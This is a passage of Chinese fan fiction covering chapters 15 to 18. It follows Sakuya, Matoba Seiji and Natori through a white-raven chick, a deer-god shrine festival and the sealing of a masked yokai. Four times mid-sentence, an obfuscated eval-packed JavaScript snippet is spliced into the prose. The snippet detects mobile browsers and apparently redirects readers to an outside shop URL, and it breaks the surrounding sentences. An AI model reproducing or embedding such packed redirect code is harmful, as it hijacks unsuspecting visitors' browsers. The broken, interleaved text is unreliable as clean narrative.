“是啊,我经常从这边路过,已经好几天没有看见亲鸟了。” 年轻的神官慢慢走了过来,温声解释道:“它是渡鸦的孩子,只是生来就是白色,作为族群中的异类,它即使能够长大,以后生存也会很艰难。” 朔也打量着幼鸟,犹豫了一会儿,扯了几片叶子将幼鸟裹了起来。 “你要抚养它吗?”青年好奇地问。 “嗯。”朔也看着手中可怜兮兮的幼鸟,轻声说道:“白色羽毛,应该会很漂亮吧。” “是呢。”青年笑着点点头。 朔也看向他,微微鞠躬,“谢谢,告辞了。” 青年微笑着站在原地,目送朔也离开。 在回程的路上,朔也一直绷着神经,直到在刚刚那片树林里感受到的微妙异样感消失,他才松了口气。 回头望去,已经不见神官的身影。 应该真的只是人类吧。 * “那么,朔也不打算给它起个名字吗?” 看着强忍对虫子的厌恶认真给幼鸟喂食的朔也,的场静司笑问道。 “唔,还没来得及想。” 的场静司兴致勃勃地提议道:“乌鸦可是神使呢,不如就叫它‘八咫乌’吧!” “静司先生,它是渡鸦,不是乌鸦啦!而且也不是黑色的……” “都属于鸦科,算是一个家族吧。”的场静司继续建议道:“那叫‘八咫’如何呢?” 朔也突然想起,之前千夏告诉过他,其实静司先生很喜欢小动物,尤其是猫咪,曾经很热情地招待过路过院子的野猫,但猫咪们并不领情,为此静司先生一直感到很遗憾呢。 难怪对这只幼鸟比他这个主人还上心的样子。 “那就叫‘八咫’吧。”朔也偷偷地笑了笑,说道:“静司先生给它起了名字,就不能袖手旁观了哦,我上学的时候就得拜托你啦!” “哦呀,一不小心就被赋予了重任,朔也好狡猾。” 朔也嘿嘿了两声,忽然想到另一件事,于是问道:“静司先生,那边的镇子有神社吗?” 的场静司想了想,不确定道:“或许有吧,但应该不是什么大的神社,怎么突然问起这个?” 朔也把自己遇到的那个人描述了一遍。 “像是突然出现的一样,我差点以为他是妖怪,但没有妖气,现在想想应该的确只是附近神社的人。” 的场静司对朔也的敏锐感知和警惕性都很了解,如果他感觉不到妖气,那多半就是正常人了。 “说起来,那一片千年前有一座很大的神社,当家的神主力量强大,附近的村落都仰赖他的庇护,京都的贵族也时常请他去除妖。” “诶?这么大的神社竟然没有流传下来吗?” “和很多除妖师家族一样,似乎是后代中一直没有出现合格的继承人,只能逐渐没落了。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751165|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总觉得很可惜。”朔也好奇道:“既然留下过盛名,那这个神社的名字应该也有记载吧?” 的场静司回忆了一会儿,“好像叫‘月见’,‘月见神社’,供奉的大概是月神这样的神明。” “啊,总觉得会是很美的神社哎。”朔也默默想象了一下,再次感叹道:“太可惜了。” 虽然嘴上聊着天,朔也手上的动作却很利索,在确定幼鸟“八咫”吃饱后,就将它放回了纸箱做成的鸟巢里。 的场静司看着他做完手上的事情,突然说道:“狩猎妖怪的事情,朔也不喜欢的话可以不用去。” 朔也闻声看了他一眼,倒是不意外的场静司会知道那天的情形,只是多少有些无奈。 “静司先生为什么总是这么纵容我啊?”朔也不满道:“要成长的话避免不了要做不喜欢的事情,这种烦恼我自己会克服的。” 的场静司笑了笑,学着朔也的语气说道:“朔也为什么总是会说这样可爱的话啊?常常让我不知如何是好哟。” 朔也顿时别扭起来,“我只是像静司先生一样直率地说话而已。” 的场静司笑眯眯地看着他,“有时候,真的很希望朔也永远不要变,一直像现在这样。” “明明前几天还在和七濑阿姨吐槽我很善变,我有听见哦!” “哦呀,竟然被听到了,真是抱歉。作为赔礼,请朔也和我一起去逛祭典吧!” “祭典?” “是在一个比较远的镇子上,那座神社要举行例大祭,邀请了的场家。我一个人去太无聊了,朔也陪我一起吧!” 朔也以为只是寻常的拜访事务,没多想便干脆地应了下来。 * 然而直到临近出发的时候,千夏送来新的色无地,朔也才意识到,的场静司要带他去的是一个非常正式的活动。 过去几年,朔也出席过的正式场合仅限于在的场本家举行的活动。 一般这种时候,他会跟在的场静司身边,和一些重要的长辈打过招呼后,就会被送回房间。 这倒不是说的场家不希望他露面太久,实际上,的场家主曾当着朔也的面斥责的场静司,责怪他因过于谨慎而不愿让朔也早点熟悉的场家的事务。 但不管如何,的场静司长久以来一直承担着朔也实际监护人的责任,即使是身为静司父亲的家主也很难越过他去安排朔也的事情。 这件事便不了了之。 但现在,的场静司竟然主动提出要带朔也出席的场家以外的重要活动。 朔也思考了一会儿,觉得大概是之前自己说的关于成长的话,让静司先生觉得他可以承担更多了吧。 这么想着,本来有些紧张的朔也突然高兴起来。 这是不是意味着他距离帮上静司先生的忙又近了一步呢? 16. 第十六章 等待 * “真是漂亮的孩子啊。”七濑笑眯眯地看着穿着新礼服的朔也,感叹道:“一转眼朔也就长这么大了。” 朔也微微红着脸,讷讷说道:“七濑阿姨,别突然这么说呀。” 的场静司看着朔也坐进车里,七濑的话让他忽然生出一种微妙的欣慰。 朔也刚来的场家时比同龄的孩子更瘦弱,为此的场静司安排厨房给他做了很久的营养餐。 大概是这些养分起了作用,进入青春期后,朔也长高得很快,也明显健壮许多。最近少年人进入变声期,原本明亮稚气的声音也开始变得低沉。 青春期独有的躁动伴随着身体的变化一起到来,少年朔也和幼时相比显得更活泼,这种活泼源于朔也萌生出的和他沉稳天性相反的不稳定感。 只是这样的不稳定,亦或说“善变”,远没有的场静司在同样年纪体现出来的那么激烈。 老实说,这让的场静司松了口气。 一直以来,朔也都对他非常顺从,这种纵容一样的顺从让他不得不在“如何引导朔也”这件事上表现得更加克制,尤其是几年前那次委托意外之后,他时刻提醒自己不要去“操纵”朔也。 但自我约束是一回事,被迫退让又是另一回事了。 如果朔也如某些青春期少年那般叛逆,的场静司估计会束手无策,又或者走向另一个极端,无论哪种情况都不是什么好事。 而幸好,朔也依然是他熟悉的朔也。 “静司先生,去拜访的话,我该做些什么呢?”对于即将去到的场合,朔也难免有些忐忑。 “像往常那样就好。”的场静司微笑道:“不是什么重要的事,朔也不用在意。” “嗯……”朔也现在有些怀疑这种说法的真实性。 前座的七濑回头安慰道:“别担心,朔也。只是正好借这个机会把你介绍给业内的人,毕竟他们对你可是好奇很久了。” 听到这样的话,朔也反而真的有些紧张起来,不过七濑接下来说的事情立刻转移了他的注意力。 “之前说起过的那个叫“夏目”的孩子,可是有点难办呢。” “诶?!夏目君怎么了?” “目前能够查到的信息很有限。” “原来夏目玲子在很年轻时便离世了,留下一个女儿,因为玲子未婚,她去世后,女儿被亲戚抚养长大,只是结婚生子后没多久就病逝了。” “之后没几年她的丈夫也不幸病逝,仅留下一个年幼的男孩。” 说到这里,一向对外人显得有些冷酷的七濑难得叹息一声。 “那个孩子之后被远亲收养,但据说因为他性子奇怪,经常说些可怕的话,被亲戚们像踢皮球一样踢来踢去,这期间的收养手续频繁变更,查起来没完没了,很是麻烦。” 朔也非常震惊,“怎么会这样?那他……” 他一时不知道该说些什么,也很难想象神明会将这么多不幸都施加到同一个人的身上,如果真的有神明的话。 朔也想起那次离开温泉旅馆之前的情形,夏目像是在极力抹除自己的存在一样,沉默地呆在人群中最边缘的位置,身上瘦巴巴地几乎没有一点肉,在自己主动帮他时,第一时间不是顺势接受,反而是担心自己无法回报别人…… “拥有出众的天赋,却遭遇这种厄运。”七濑不禁有些感慨,“幸运和不幸的极端叠加总是显得更残忍。” “如果继续这样下去,说不定那孩子有一天会变成妖怪。”的场静司若有所思地说道:“比起排斥他的人类,他也许会觉得自己和妖怪更接近吧。” “不会的!”朔也紧皱着眉,笃定说道:“夏目君一定经常被妖怪骚扰,他应该很明白妖怪的秉性才对。” 的场静司宽容地笑了笑,没有反驳少年人的天真想法。 太过寂寞的人,做出任何不可理喻之事都不足为奇。 “七濑阿姨,那还有可能联系到夏目君吗?” 朔也很担忧,再一次后悔自己当时没多问点夏目的信息。 七濑安慰道:“放心吧,的场家会查到的,只是需要再多点时间。” “那就太好了!” 朔也稍微松了口气,又有些纠结,夏目君有保留他的联系方式吧?为什么不打来电话呢? 啊,自己好像说了有危险就联系,所以夏目君是因为目前一切安好才没联系吗? 哎,一时不知道是他联系自己更好还是不联系更好了…… * 夏目贵志孤零零地坐在河边的草地上,趁着难得的清静,默默看着河面发呆。 他经常被各种奇怪的妖怪盯上,近期也未曾幸免。 昨天他不过是路过一座阴森的旧宅时往里面多看了一眼,就被一个可怕的妖怪盯上了。本以为跑远点就没事,结果妖怪今天竟然找到了他现在借住的家里。 为了不牵连收养他的家庭,夏目只好一大早就跑出来闲逛,只希望那妖怪早点放弃,让他可以在天黑前回去。 这样的生活,到底还会持续多久呢…… 夏目正胡乱想着,突然一阵诡异的大风刮过,那个如同用砂纸摩擦玻璃的刺耳声又出现在耳边。 「终于找到你了,可爱的小家伙~」 夏目惊恐地转头,正准备起身逃跑,脚下一个踉跄,让他直接狼狈地扑进野草里。 在闻到泥土腥气的那一瞬间,夏目第一时间想到的竟然是——啊,衣服会被弄脏吧?这次又该怎么解释呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751166|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 不好说这个念头是否是施加在经年累月的谎言之上的最后一根稻草,总之,那一瞬间,夏目彻底放松了身体,任由自己一动不动地趴在草地上。 怎样都可以,怎样都好,一切就此结束也没什么。 不,也许早就该结束了。 森冷的令人不适的气息从身后靠近了夏目,明明有着清晰的感知,夏目却无动于衷。 他平静地闭上了眼睛。 当那股气息进一步靠近,几乎要触及他的后颈时,夏目感觉到一股温暖到近乎灼热的温度从胸口散发了出来。 刺耳的声音突然变得气急败坏。 「可恶!竟然在身上带着恶心的符咒,可恶的除妖师!」 那个妖怪生气地咒骂着,而后消失了。 夏目愣愣地在地上趴了好一会儿,直到胸前那股灼热渐渐平息。 他忽然坐起身,从衬衣短袖的上口袋里掏出一个御守,这是那个叫朔也的异瞳少年送给他的。 「里面放着我做的符咒,你一定要随身带着。」 因为这样的嘱咐,即便夏目有些将信将疑,还是一直随身携带着它,没想到竟然真的有用! 如果自己也会做这样的符咒的话,是不是就不怕妖怪了? 夏目这么想着,竟有些兴奋起来。 到底是什么样的符咒呢? 夏目拿着御守,下意识想拆开看看,但紧接着又犹豫起来,御守是不能拆开的吧…… 在夏目迟疑的当口,粘在御守背后被夹带出来的纸条掉落到草地上。 他捡起纸条,那上面是朔也君的电话号码,这串数字其实早已被他记在了脑海里,一直留着的纸条更像是一种特殊的纪念品。 夏目曾想过拨打这个电话,多次地想过。 但他从来没有真正地拨打过一次。 说他瞻前顾后也好,说他胆怯不安也好,他……只是不知道该说些什么,又或者,该用什么去交换更多的帮助。 他一无所有。并且总是亏欠着他人。 哪怕是朔也君提到的“强大力量”,一直被妖怪追得狼狈逃窜的他也从来没感受到过。 是不是顾及着他可怜的自尊心,朔也君才会那样说呢? 朔也君是非常热心且亲切的人,而且和自己一样能够看到妖怪,如果有幸结识的话,他们说不定会像朋友那样相处…… 但,肯定不是现在。 夏目把御守和纸条放回胸前的口袋里,双手环住膝盖,看向波光粼粼的河面。 等他再大一些吧! 等他长大到能够独自生活,等他不再对所有事情都无能为力。 到那时,他也许能找到什么东西,去交换一份友谊。 17. 第十七章 面具 * 要去拜访的神社叫“鹿鸣神宫”,座落在漂亮的湖边,供奉的神明是在当地有着久远传说的鹿神。 因为神社今年对本殿进行了重建,所以这次的例大祭举办得比往年更为隆重。 在仪式开始前,受邀的客人们聚集在茶室里互相寒暄,看起来确实和朔也曾经参加过的那些聚会没太大不同。 鹿鸣神宫的宫司在和的场静司寒暄过后,便看向了一旁的朔也,主动询问道,“这就是铃木家的孩子吧?” 的场静司做了介绍,朔也跟着行礼。 年长的宫司温和地看着他,赞叹道:“听说铃木君前不久仅凭一己之力就封印了大妖,真是优秀啊!” 朔也微笑回道:“那次是大家齐心协力的结果,我不过是侥幸射中了一箭,实在当不得您的赞誉。” 宫司的神情更加和蔼,他此前还以为这孩子会和静司一样有些傲气,但显然,的场家将这位未来首领的得力干将培养得很好,让人很难不羡慕。 几人又聊了几句,宫司显然对朔也很有好感,临走前还特意嘱咐朔也和的场静司一起留下来,欣赏神社夜间的美景。 这倒是让的场静司有些惊讶,他知道朔也很招人喜欢,尤其是很受长辈们的喜爱,但能让这位向来严肃的宫司如此和蔼,也是很意外了。 不过更让他意外的是朔也刚刚表现出来的样子,非常得体,甚至比他自己更符合的场家的期待。 的场静司忍不住看向一旁的七濑,低声问道:“七濑桑,是你教朔也的吗?” “当然不是。”七濑笑眯眯地说道:“你没发现吗?朔也的姿态和你倒是有几分相似呢。” 的场静司转而看向另一边的朔也,身姿挺拔的少年人正在不动声色地打量着周围的人,好奇被掩藏在平静沉稳的表情之下,仪态端正且不显拘束——这确实让静司感到有些熟悉。 朔也在模仿他的样子。 这样的发现让的场静司突然有种奇妙的感觉,他对朔也的影响,可能比他以为的更深、更无处不在。 “不过朔也可比你会说话。”七濑低声吐槽静司。 的场静司对上朔也望过来的视线,在对方疑惑的眼神里笑了起来。 会说话吗? 不如说,这孩子正在努力学着如何帮他分担些什么吧。 哪怕他并不在意这些…… 的场静司在心里叹息一声,突然抬手摸了摸朔也的头。 “静司先生?” 朔也已经到了讨厌被人摸头的年纪了,不过在一头雾水的情况下还是忍耐着没有躲开,只是眉毛慢慢皱到了一起。 这让的场静司心情莫名变得更好,忍不住又摸了摸。 一旁的七濑看不下去了,头疼道:“静司,别欺负朔也!” “哦呀,抱歉~” * 从举行仪式开始,神社一整天都很忙碌,仪式结束后紧接着就是神舆巡行,得延续大半天的时间。 不过好在朔也他们只是客人,在仪式之后就能自行安排了。 的场静司先带着朔也参观神社,而后逛起了祭典。 这边的祭典非常热闹,有很多当地的特色摊贩,一个专门做鹿神面具的小摊就让朔也觉得很有意思。 祭典上的面具一般都是纸或者塑料做的,这里的面具却是用木头手工雕刻,纹饰的绘制很讲究,就连顶上延展出来的两只鹿角也做得十分精美。 朔也盯着纹饰看得认真,的场静司也凑近看了看,问道:“怎么了?” “总觉得这个纹饰有点像……”朔也压低声音,猜测道:“像妖怪的文字。” 普通人经常因为各种鬼怪传说的原因,误以为妖怪和人类一样,用的是人类的语言和文字。 但其实,妖怪有自己的文字和用语,反而是被人类视为遥不可及的神明,在降灵时会使用人类的方式沟通。 作为被神社供奉的神灵,鹿神的面具上使用类似妖怪文字的纹饰,是很奇怪的。 的场静司肯定了朔也的猜测,同样低声说道:“这位鹿神大概曾经是个妖怪,因为接受人类的供奉而成为了山神。” “咦?山神不是自然之物在灵力充沛时孕育而生的吗?” “通常来说是这样。”的场静司点点头,“不过偶尔也有例外,比如人类的信仰过于强烈,无比迫切地希望山神降灵,这个时候,无论是妖怪还是人类,都有可能成为山神。” 朔也很吃惊,他想了想,问道:“那样的愿力应该会是强到可怕的程度吧?” “是啊,所以这样诞生的山神会拥有更强大的力量。”的场静司笑道:“这个神社能够传承这么多年,很难说没有这方面的原因。” 朔也看着手里的鹿神面具,突然下意识地说道:“但听上去,仿佛被什么裹挟了一样。” 的场静司愣了一下,微笑道:“原来朔也会这么想么?” “嗯。”朔也望向的场静司,问道:“这么想会很奇怪吗?” 他只是觉得,要是被裹挟着去做什么事情的话,哪怕是成为神明,恐怕也不是什么令人高兴的事情。 的场静司拿过朔也手里的面具,突然将面具戴到了朔也的头上。 俯身看向戴着鹿神面具的少年,的场静司笑得眯起眼睛。 “如果是朔也的话,一点都不奇怪。” * 朔也就这样,戴着鹿神面具继续和的场静司一起逛祭典。 不过朔也只是在售卖当地特产的小摊前多站了一会儿,再转头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751167|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就发现的场静司不见了。 他站在原地环视了一周,面具下的鼻子敏锐地捕捉到一丝香甜的味道,循着香味望过去。 果然,不远处就有一个卖本地点心的摊贩,熟悉的身影正粘在小摊前。 朔也偷笑了一声,准备过去逮人。 避开逆向的人群,朔也轻快地走了几步,一只手却突然从背后伸过来,紧紧拽住了他的胳膊。 那只手的力气很大,猝不及防的朔也差点被拽倒,就在他努力平衡身体的时候,一个虽然压得很低但依然听得出怒气的声音在他耳侧响起。 “抓到你了!” 朔也疑惑地回过头,透过面具看向抓住他的人,惊讶地瞪大眼睛。 “名取先生?” 看着眼前的名取周一怔愣的样子,朔也笑着取下面具。 “名取先生,好久不见。” “呃,铃木君?!”名取周一先是吃惊,接着就尴尬起来,“抱歉,是我认错了……” “哦呀,周一,原来你也在这边。”不知何时回来的的场静司抱着一盒甜点和名取打了招呼。 他的视线扫过对方抓着朔也胳膊的手,笑说道:“朔也是我家的,可不会跟你走哦。” 名取这才意识到自己还拽着朔也,赶紧松开手,“对不起,朔也,弄疼你了吗?” “没事。”朔也摇摇头,好奇问道:“名取先生,你是在找什么人吗?” 名取一脸疲惫地回道:“我在找一个妖怪,它幻化成少年人的样子,戴着和你一样的面具,所以刚才……” 朔也了然,这样确实很容易错认。 “没听说这附近有怪事,你是从别的地方一直追到这里的吗?”的场静司若有所思地问道。 名取显得更疲惫了,他无奈地点头,“从隔壁的镇子跑过来的,没想到这边在办祭典,它就混进了人群。” “有趣。”的场静司笑了笑。 朔也几乎看到名取的头上冒出了怒火,赶紧说道:“名取先生,我们帮你一起找吧!” 名取愣了一下,正下意识地想拒绝,就听刚刚还一副旁观姿态的的场静司开了口。 “鹿鸣神宫的宫司是的场家的世交,祭典如果被妖怪影响会很麻烦。” 的场静司微笑道:“捉住妖怪多少可以让宫司记的场家一个人情,我们的利益和你的利益是一致的,不是吗?” 又来了! 名取烦躁地皱眉,他一贯讨厌的场静司这种腔调,不过,之前的拒绝倒是被他咽了回去,现在这个情况,他确实很需要帮手。 朔也来回观察着两人,心里感到有些奇怪。 “嘛,先说说那个妖怪的事情吧。” 的场静司反客为主,毫不客气地指挥起来。 18. 第十八章 诈骗 * 隔壁镇子的一户人家前阵子出了怪事。 那户人家祖上是大地主,虽然后来没落了,依然留下不少家产,其中最珍贵的就是长在后山的一棵野生山茶花。 那棵山茶花大概已经存活了数百年,长得非常高大茂盛,尤其是开花时节,山茶花盛开之时,极致美丽。 有位富豪偶然看见,被那样的美景所震慑,自那之后一直念念不忘,所以愿意出巨资购买这棵花树,移植到自己的豪宅里。 那么大一笔钱,那户人家当然不会拒绝。 但就在他们和富豪商谈的时候,怪事开始了。 先是家宅很不安宁,家里的人频频发生意外,就连睡觉也时常被惊醒,接着那棵山茶花也出了问题,竟然慢慢枯萎起来。 这下不仅很可能卖不了花树,一大家子连日子都过不安生了,心里实在惧怕,从寺庙到神社都求了个遍,最后经人介绍了名取,就请名取过去除妖。 “这些事情都是那个妖怪闹出来的吗?”朔也惊讶问道。 “是的,它妖力很强,对付起来很麻烦。”名取揉了揉额头,“那户人家现在不敢回家住,它就霸占了那里,我本想在那里封印它,但被它逃脱了。” “这个妖怪,也许是特意跑来这边的吧?” 朔也一边推测着,一边看向的场静司。 的场静司微笑着,慢条斯理地说道:“所以我才说很有趣啊。” 啊,刚刚果然不是他的错觉,静司先生又在故意说些会让名取先生生气的话了。 朔也赶紧将手里的面具递给名取周一。 “名取先生,这边的神社供奉的是鹿神,所以会有这种面具。如果那个妖怪也戴着同样面具的话,可能和鹿神有什么关联。” 想了想,朔也又补充道:“而且今天正好是神社的例大祭,有鹿神的巡行,也许妖怪正是赶在这个时间过来呢?” 名取拿着面具,这种意料之外的“巧合”让他觉得更头疼了。 “这样的话,如果不快点抓住它,它肯定会大闹祭典吧。” 正在名取烦恼的时候,一道身影轻轻地落到他的旁边。 朔也下意识地往的场静司那边靠了靠,整个人都紧绷起来。 “啊,抱歉,朔也,这是我的式神,瓜姬。” 朔也看了式神一眼,点点头。 的场静司的手抚上朔也的肩膀,冲瓜姬问道:“发现那个妖怪的踪迹了吗?” 瓜姬看向名取,见名取点头才说道:“它没有在人群里待太久,甩掉主人后就跑进西侧路边的森林里了。” 名取略微松了口气,只要不在人群密集的地方,那就好办多了。 “西侧啊。”的场静司回想了一下,说道:“鹿神的神舆要返回神社的话,应该会从那边路过。” 朔也灵光一闪,“难道它想冒充鹿神?” “如果那位神明今天确实有降灵的话,也许那个妖怪就不用我们费心了。”的场静司的嘴角微微翘起,看起来一点都不担心。 名取几乎要被气笑了,明明这家伙刚刚还说祭典被妖怪影响会很麻烦。 朔也看着名取周一努力克制的神情,有些无奈,所以静司先生和名取先生往常就是这样相处的吗?一个故意撩拨,一个闷闷生气…… 真是奇怪的大人友谊。 “要不,我们先去那边看看吧。” 在古怪的氛围里,年纪最小的朔也提醒大家开始干正事。 * 到瓜姬说的地方之后,一行人分成两组,分别从两个方向搜寻。 朔也自然跟着的场静司,两人沿着崎岖的野生小径往森林里走。 只是他们今天穿的都是聚会用的礼仪着装,走这种小路实在很麻烦,所以没走几步,的场静司就冲朔也伸出了手。 朔也乖乖牵住那只手,有点后悔仪式结束后没有换上便装,不过还好他习惯随身带上各种符咒,想必静司先生也一样吧。 正在找的这个妖怪听上去就很难缠,不知道他们带的符咒够不够用…… 茂密的树木像屏障一样隔绝了祭典的热闹喧嚣,寂静的森林里只能听见两人走路发出的声音。 的场静司看了朔也一眼,突然问道:“在想什么?” 朔也回过神,迟疑地说道:“静司先生,那个妖怪是否和鹿神认识呢?我是说,在鹿神还没有成为山神的时候。” “为什么这么想呢?” “呃……我也说不上来。”朔也挠了挠头发,“可能是因为之前刚聊过鹿神的事情,所以现在就联想到了?” 的场静司的视线掠过朔也困惑的神情,微笑道:“朔也的直觉,也许会很准哦。” 朔也默默叹了口气,抿了抿嘴,没吭声。 静司先生总是这样,好像自己做什么他都觉得是值得夸奖的,倒不是他不喜欢这种夸奖,只是……怎么说呢,一直被人这么溺爱的话,他一定会变得骄傲自大的啊。 牵着朔也的手突然握紧,朔也看向的场静司,正准备发问,却又突然把话咽了回去,他感受到了妖气。 那个妖怪就在这附近。 两人停在原地,过了一会儿,两人几乎同时看向一个方向。 的场静司和朔也对视了几秒,朔也领会到他的意思,安静点点头。 于是两个人都掏出符咒,迈着轻缓的步子分开了一段距离,的场静司走在前面,朔也错开几步走在他的后侧。 当两人慢慢靠近妖气浓烈的地方时,朔也却莫名觉得有些怪异,他嗅到了某种特别的腥气,那是妖怪血液的气味。 那个妖怪之前被名取先生打伤了吗? 等等!腥气不光是那个方向有,好像…… 朔也突然感到有什么东西正从头顶上方盯着自己,他猛地抬头,大喊道:“它在树上!” 他刚喊出声,一道影子就从上方猛地扑了下来。 朔也被人拽着后衣领往后带了几步,堪堪避开了妖怪的攻击,他甚至清晰地听到那个妖怪不爽地“嘁!”了一声。 “你小子反应倒挺快嘛,比那个笨手笨脚的除妖师聪明多了。” 戴着鹿神面具的妖怪叉着腰站着,朔也虽然看不清它的表情,却充分感受到了它的嚣张。 的场静司不动声色地将朔也挡到自己身后,冷静地说道:“看来你可以和我们沟通。” 妖怪抬手指向朔也,“我对这小子很感兴趣。” 的场静司微微扬起嘴角,语气却变得冰冷,“要祓除你虽然有点麻烦,但也不是全无办法。” 妖怪抬起的手放了下去,它似乎很不解,问道:“你们不是想沟通吗?” 朔也想了想,突然问道:“是关于鹿神的事情吗?你想找我们帮忙?” 妖怪大声回道:“果然还是你更聪明!” 朔也有些无语,他只是觉得这妖怪刚刚听到了他和静司先生说的话,大概是他胡乱的猜测猜对了些什么。 “我们为什么要帮你?”朔也一脸平静,“你能给我们什么好处?” “咦?”妖怪吃惊道:“你不是妖怪的孩子吗?不帮妖怪难道要帮助这些除妖师!” 的场静司看向朔也,只觉得少年的眼睛里像燃起了两团怒火。 但朔也没有发火,他依然一脸平静,咬牙切齿地说道:“我不是妖怪的孩子!你要是想让我们帮你,就拿宝贵的东西来交换。” 那个妖怪没在朔也的身份上纠结,他犹豫了一会儿,似乎在确定自己有哪些宝贵的东西。 “我有一棵山茶花树……” “我听人说那棵树快枯萎了。” “那是障眼法!”妖怪气急败坏,“我就说那个除妖师眼神不好!” “我不喜欢山茶花。”朔也面无表情地说道。 “呃……我还有一堆亮闪闪的宝石!” “不感兴趣。”朔也依然面无表情。 “我……我存了好多美味的好酒!” “不喝酒。”朔也的语气堪称冷酷。 妖怪又气又急,拽着头发又想了一会儿,终于忍痛说道:“这个面具……可以给你!” 朔也细细打量着妖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751168|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怪戴着的面具,这个面具和他之前戴的那个确实非常相似,只是眼睛处没有凿开,而是画着一双闭着的眼睛。 也不知道是用什么材质做的,整个面具带着柔和的微光,看上去温暖而细腻,朔也从这种异样的细腻中体会到一种纯洁清澈的意象。 朔也紧盯着妖怪,笃定地问道:“这是原本属于鹿神的面具吧,你是怎么得到的?” 一直旁观的的场静司微微挑眉,他知道朔也是在诈这个妖怪。 “你、你怎么知道?!”妖怪震惊地看向朔也,但紧接着它就反驳起来,“不对!那家伙根本不是神明,你们人类全都被骗了!” “人类被骗也是人类自己的事情。”朔也冷淡地问道:“和你一个妖怪有什么关系?” “我……”妖怪被朔也堵得噎了半天,索性气愤道:“我乐于帮助人类不行吗?总之,你们得帮我把神社砸了,把那个假神明赶走!” 朔也无语,他看向一脸看好戏的的场静司,无奈道:“静司先生,把这个胡言乱语的家伙封印起来吧。” “喂!你这小子!怎么说话不算数?!”妖怪气得跳脚。 “我又没答应你什么。”朔也理直气壮地责问道:“而你竟然想破坏人类的神社,没把你祓除都不错了。” “那、那不砸神社也行……”妖怪勉强妥协道:“但必须把那个假神明赶走!” 朔也和的场静司对视了几秒,垂眸思考了好一会儿,才在妖怪不耐烦地催问中,不太情愿地点了点头,“也不是不行,不过你得先把这个面具给我看看。” “……” 妖怪明显非常纠结。 朔也很无所谓地说道:“如果我们不帮你的话,你也找不到其他可以帮你的人类了,反正我本来也不想做这种很麻烦的事情……” “好、好吧!” 妖怪慢慢地取下面具,露出一张除了双眼之外其他和人类少年并无区别的脸,它珍惜地摸了摸面具,这才走进几步,不舍地递给朔也。 朔也在触及面具的那瞬间突然喊道:“静司先生!” 随着符咒亮起,的场静司念出真言,妖怪只来得及怪叫一声就被封印进了的场静司随身带着的陶壶里。 的场静司拿着陶壶看了看封印,而后看向身旁的朔也,笑着感叹道:“朔也比我以为的还厉害许多哦!” 朔也却没显得多高兴,他看着手里的面具,纠结地说道:“静司先生,虽然抓住了妖怪,但我还是想弄清楚这件事情。” 的场静司了然地点点头,“我和你一起。” “什么一起?” 姗姗来迟的名取周一微微喘息着,不明所以地问道。 他和瓜姬听到声音后就冲这边赶了多来,但明显错过了什么。 当朔也把所有经过讲完后,名取惊讶地看向的场静司手里的陶壶。 “所以,你们把这个妖怪骗进去了?” 朔也目光游移,有些心虚,“呃,这也不算骗吧。” 名取目光灼灼地看向的场静司,神情里带着无声的谴责。 「你到底给这孩子教了些什么?」 的场静司笑眯眯地回望过去。 「这样不好吗?朔也超厉害哟!」 在两个大人眉来眼去的空当,心虚的朔也格外仔细地查看起手上的面具。 看着看着,朔也忽然发现这个面具好像被一层朦朦胧胧的东西覆盖着。 是污渍吗? 朔也把面具又凑近了一些,专注看了一会儿,他终于忍不住抬手,像抚开灰尘一样抚开那层朦胧的阻隔。 在手指触及的刹那,朦胧的未知之物纷纷从面具上剥落消散,朔也的手上一轻,面具轻轻漂浮起来,悬停在朔也的身前。 露出真容的面具散发出耀眼却并不刺目的金色光辉,面具上原本闭着的双眼缓缓睁开,露出一双金色的鹿眼。 朔也和那双眼睛对视,脑海里响起一个空灵而温柔的声音。 「人类的孩子,谢谢……」 眼前一阵眩晕,朔也失去意识,倒了下去。 19. 第十九章 名取 * 